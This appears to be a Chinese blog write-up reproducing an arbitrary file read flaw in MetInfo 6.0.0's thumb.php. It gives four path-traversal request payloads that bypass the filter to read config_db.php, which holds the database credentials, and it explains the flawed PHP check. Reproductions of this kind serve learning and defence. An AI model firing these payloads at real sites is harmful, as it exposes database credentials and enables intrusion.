metinfo_6.0.0 任意文件读取漏洞复现

漏洞点为/include/thumb.php

一测:/include/thumb.php?dir=..././http/..././config/config_db.php

二测:/include/thumb.php?dir=.....///http/.....///config/config_db.php

三测:/include/thumb.php?dir=http/.....///.....///config/config_db.php

四测:/include/thumb.php?dir=http\..\..\config\config_db.php

注意:此POC 仅适用于Windows 系统,Linux 下无效

$dir = str_replace(array('../','./'), '', $_GET['dir']);

if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){

header("Content-type: image/jpeg");

ob_start();

readfile($dir);

ob_flush();

flush();

            die;

}

这段代码的主要任务是从GET参数dir中获取图片资源并显示出来,但在安全防护方面存在一些问题。
首先,它尝试通过删除用户输入中的 '../' 和 './' 字符串来阻止基本的路径遍历攻击。但是这种方法并不能完全避免所有类型的路径遍历漏洞,因为攻击者可能使用其他方式绕过这些过滤规则。
其次,代码检查了 $dir 是否以 'http://' 或 'https://' 开头,并且不包含 './' 字符。这么做是想防止远程文件包含(RFI)攻击的发生,即不让网站从互联网上的远程URL加载和执行文件。然而,仅仅依赖于这两个条件判断并不足以确保安全性,因为攻击者可能有办法绕过这种限制。
具体来说:
substr(str_replace($_M['url']['site'], '', $dir),0,4) 这行代码的作用是从经过处理的 $dir 字符串中取出前四个字符,看它们是否等于 'http'。如果 $dir 指向的是一个URL,并且该URL是以 'http://' 或 'https://' 开始的,那么这一部分将返回 'http'。
strpos($dir, './') === false 判断 $dir 中是否没有 './' 字符串。如果没有,则表达式为真。
当上述两个条件都满足时,意味着 $dir 指向的是一个不包含 './' 的远程网址。
最后,若这两个条件均满足,程序会直接输出请求的资源内容,并将其响应类型设置为 image/jpeg,即认为它是一个JPEG格式的图片文件。但这样做实际上是允许了远程文件包含,而不是阻止它,从而留下了安全隐患。

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-01-22 00:16:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-22 00:16:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-22 00:16:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-22 00:16:01       18 阅读

热门阅读

  1. RNN与NLP

    2024-01-22 00:16:01       38 阅读
  2. Centos7 安装Jenkins2.440

    2024-01-22 00:16:01       32 阅读
  3. SpringBoot默认日志输出格式

    2024-01-22 00:16:01       35 阅读
  4. Elasticsearch 数组值的存储详细介绍

    2024-01-22 00:16:01       40 阅读
  5. PHP学习笔记1

    2024-01-22 00:16:01       26 阅读
  6. STL-deque

    2024-01-22 00:16:01       36 阅读
  7. 第二章 使用 SQL Search

    2024-01-22 00:16:01       32 阅读
  8. jwt和token区别是什么

    2024-01-22 00:16:01       38 阅读
  9. Python-利用resource限制资源使用

    2024-01-22 00:16:01       32 阅读
  10. gin使用Air实时加载

    2024-01-22 00:16:01       31 阅读